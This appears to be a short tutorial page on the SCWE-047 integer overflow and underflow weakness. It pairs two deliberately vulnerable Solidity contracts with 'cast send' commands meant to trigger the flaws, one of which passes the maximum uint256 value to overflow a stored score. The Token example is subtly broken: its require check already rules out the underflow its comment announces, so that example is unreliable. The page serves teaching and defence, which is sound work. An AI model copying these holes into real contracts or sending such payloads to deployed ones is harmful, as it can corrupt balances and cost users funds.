Integer overflow/underflow
SCWE-047: Integer Overflows and Underflows
Theory
# Example with uint8 (0–255 range):
## Overflow (wrap-around upwards)
255 + 1 → 0
## Underflow (wrap-around downwards)
0 - 1 → 255Practice
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) public balance;
function transfer(uint256 amount) public {
require(balance[msg.sender] >= amount);
balance[msg.sender] -= amount; // Underflow vulnerability
balance[tx.origin] += amount;
}
}cast send $CONTRACT_ADDRESS \
"transfer(uint256)" 1 \
--rpc-url $RPC_URL \
--private-key $PK \
-vvpragma solidity ^0.6.0;
contract Bonus {
mapping(address => uint256) public score;
function reward(uint256 bonus) public {
score[msg.sender] += bonus; // Overflow vulnerability
}
}cast send $CONTRACT_ADDRESS \
"reward(uint256)" \
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff \
--rpc-url $RPC_URL \
--private-key $PK \
-vvResources
Last updated
